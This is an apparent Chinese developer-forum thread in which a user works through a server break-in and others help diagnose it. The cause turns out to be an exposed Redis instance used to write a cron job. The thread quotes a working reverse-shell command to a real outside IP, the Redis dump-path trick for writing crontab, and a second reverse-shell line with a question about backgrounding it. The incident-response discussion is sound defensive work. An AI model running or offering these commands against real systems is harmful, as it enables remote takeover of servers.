服务器被入侵了，有懂的老铁帮忙看下，万分感谢

• 主 資深大佬 : bigbigeggs

  cpu，内存看起来暂时正常。不知道入侵者想干什么

• 資深大佬 : opengps

  抓紧备份数据重装系统恢复业务。
  人工清理病毒往往很难判断是否清理彻底，所以及时你清理了病毒也很难发现是否有其他隐患。
  如果你想要研究病毒，打个系统镜像，拿到别处研究

• 資深大佬 : opengps

  那个 IP 直接浏览器访问 80 端口，发现是个类似于 OA 签到的东西，像是一种后门脚本。
  那个 IP 的 8888 端口的站点直接访问提示不安全，看来有可能确实是某种防止滥用。

• 資深大佬 : opengps

  太神奇了，那个站点，有备案有作者，主确认下是不是正常的对外扩展功能吧。

• 主 資深大佬 : bigbigeggs

  @opengps 还没主意他的 ip 80 端口。感谢，已经把外网的所有端口都关掉了，直对内开放了。

  暂时还没发现入侵者的意图，把项目恢复了，先排查下问题。

• 資深大佬 : kaneg

  是个反向 shell，你的 bash 的输入输出都被对方控制了。估计除了这一个定时任务还有其他的，你这边删了，另一个任务又把它重建出来了。
  你这是哪种 Linux 系统？对外有暴露哪些端口和服务？

• 主 資深大佬 : bigbigeggs

  @kaneg centos7. 暴露公网的端口还挺多，redis，mysql，8080 这种比较常用的都有。但都有密码，所以没考虑那么多。

  现在公网端口就留了几个必须用到的基础服务。

• 主 資深大佬 : bigbigeggs

  @kaneg 应该还有其他定时任务在执行，但就是找不到。也不知道想干嘛

• 資深大佬 : zszhere

  这就是个反弹 shell 啊 你在对方那已经上线了
  如果没有可疑进程或者其他用户也没有 crontab 的话
  检查下你的内核是不是被挂载了 rootkit 一般用这个来做持久化权限维持
  然后检查下.ssh 目录有没有被写入公钥

• 資深大佬 : zszhere

  还有检查下 /etc/passwd 看有没有被新增用户或者被改掉密码

• 資深大佬 : WordTian

  我猜是 redis 对外开放造成的

• 主 資深大佬 : bigbigeggs

  @zszhere .ssh 真有一条公钥，吓死我了，不知道什么时候写进去的，感谢老哥提醒。我还得在排查下其他的

• 主 資深大佬 : bigbigeggs

  @WordTian redis 是有对外开放的端口。但是端口不是常用的，并且有设置密码。是有项目在用 redis 塞数据，但 redis 是怎么做到 往 cront 里面写数据的？ RDB 文件？

• 資深大佬 : cheng6563

  不用排查了，排不全的。直接备份数据格了吧

• 資深大佬 : hakono

  你那么多服务公开在外网，哪个服务有个安全漏洞不就中招了…….

• 資深大佬 : caola

  还不备份数据，就等删库跑路吧

• 資深大佬 : WordTian

  @bigbigeggs 对，rdb 文件，写公钥，覆盖 crontab 文件，常规操作了

• 資深大佬 : yuelang85

  @bigbigeggs redis 可以修改配置文件和保存配置文件的路径，这样就可以在 redis 中通过保存配置文件的方法在磁盘上写文件。

• 資深大佬 : itabas016

  服务器不就只应该暴露 ssh/http 端口吗？这是安全常识。

• 資深大佬 : black11black

  @WordTian 学习了,redis 对外开放还可能造成这种后果?

• 資深大佬 : steptodream

  感觉肯定是 redis 被黑 redis 暴露公网被黑的太多了 光是 V2EX 上就看到好几起了

• 資深大佬 : alw

  我之前 就是 redis 对外开放被黑过，当时不懂，找腾讯云提工单帮我查，定位到了是这个问题导致的。

• 資深大佬 : littlezzll

  redis 暴露公网端口一定得加密码，以普通用户启动，前一阵就被 redis 那个提权漏洞搞过

• 資深大佬 : boris93

  @opengps #3 神奇的是，8888 打开的是 OwnCloud，是个私人云盘……

• 資深大佬 : sagaxu

  iptables INPUT 默认策略不该是 DROP 吗?

• 資深大佬 : PbCopy111

  妈呀，备案信息里什么都有啊。。。。我觉得主可以直接跟对方联系一下，备份服务器以后可以威胁报警了，哈哈哈哈。

• 資深大佬 : PbCopy111

  你们都慢点动手啊！！！！！！！给我留点时间！！

• 資深大佬 : ferock

  一直不理解，redis 有什么必要暴露到公网？？？

• 資深大佬 : Dounx

  有备案信息，备份好服务器直接报个警？

• 資深大佬 : zszhere

  @bigbigeggs 附议 14 观点 别查了 查不清楚。简单点会隐藏在 系统启动项 /etc/rc*.d bash 启动项 /etc/profile.d 高级点 上 rootkit 或者改掉你的 libc.so 或者 改掉你的 curl wget 等常用二进制 还有很多骚操作 排查不清。重装吧。

• 資深大佬 : k8ser

  脚本小子，这你不报警抓他，一抓一个准，做好取证，警察叔叔过年都冲业绩呢！

• 資深大佬 : ericwood067

  “n* * * * *”大佬们，这个是多久执行一次，被`n*`给搞懵了

• 資深大佬 : ztxcccc

  报警不是美滋滋

• 資深大佬 : kiracyan

  这人还是个搞网络安全的 github blog 备案都有 也太不小心了

• 資深大佬 : azev

  @opengps 可能那个网站也被黑了 成肉鸡了

• 資深大佬 : iloveayu

  名字，扣扣，IP 都有了，保留好证据直接报警吧，这手法还搞网安呢也是没谁了。。。

• 資深大佬 : beichenhpy

  你的 redis 是 root 用户吧

• 主 資深大佬 : bigbigeggs

  感谢各位大佬的帮助以及建议，昨晚排查到快一点，今天早上又看了看，基本搞懂了。

  首先攻击者拿到了我的 redis 端口和密码(全暴露在了公网，具体还不清楚怎么搞到的)

  然后往 redis 里面写了一条数据，set x “n* * * * * bash -i >& /dev/tcp/123.56.128.98/8888 0>&1n”

  然后利用 redis 的 conf 命令 见 RDB 文件的地址替换成了 crontab 的地址 ，日志如下：

  

  然后他的这条 bash 命令就写进了 cron 定时任务里面去了。

  查了查定时任务的日志，大概在 12.9 日已经入侵了，但不知道入侵者的目的。

  

  至今位置，cpu, 内存都一切正常，数据也没有丢失。但是应该数据库，redis，zk 等密码他全部获取到了。

  写到了环境变量里面去了，唉。

  晚上准备收集一下他的资料，准备和他谈谈，再次感谢各位大佬的帮助了。

  可以参考如下两篇文章，写的很详细：

  redis 入侵： https://www.cnblogs.com/evan-blog/p/10707087.html

  反弹 shell： https://www.cnblogs.com/bonelee/p/11021996.html

• 主 資深大佬 : bigbigeggs

  @beichenhpy 是的，root 用户。已经肯定了是从 redis 入侵的，修改了 dump 文件目录

• 主 資深大佬 : bigbigeggs

  @k8ser @ztxcccc 感觉报警有点麻烦，晚上研究下他的网址。看看能不能联系上，聊一下。

• 主 資深大佬 : bigbigeggs

  @WordTian @yuelang85 确定了，是通过 redis set key，然后 conf 修改了 dump 的文件目录，大意了，唉

• 資深大佬 : InkAndBanner

  redis 的问题 很常见 我的学生机曾经也被安排过

• 主 資深大佬 : bigbigeggs

  @iloveayu 我也查到他的 qq，姓名了，准备 qq 联系一下。还没有手机号，不知道咋搞

• 資深大佬 : CodeCodeStudy

  @bigbigeggs #38 反弹 shell，受害者机器上 bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 这命令是在前台运行的，怎么让它在后台运行呢？我在后面加上 & 后，在攻击者机器上就看不到输入输出了。

• 資深大佬 : onice

  建议备份业务和数据，重装系统。Linux 系统可以安后门的地方太多了，比如替换某个系统文件，比如常见的 ls 命令。那么多命令，鬼才知道是替换的哪一个。
  也不是说不可以排查，但排查的成本大于重装的成本。

• 主 資深大佬 : bigbigeggs

  @CodeCodeStudy linux 上定时任务，crontab 每分每秒都执行

• 資深大佬 : CodeCodeStudy

  @bigbigeggs #46 Linux 上的 crontab 只能精确到分钟，怎么让它每分每秒都执行？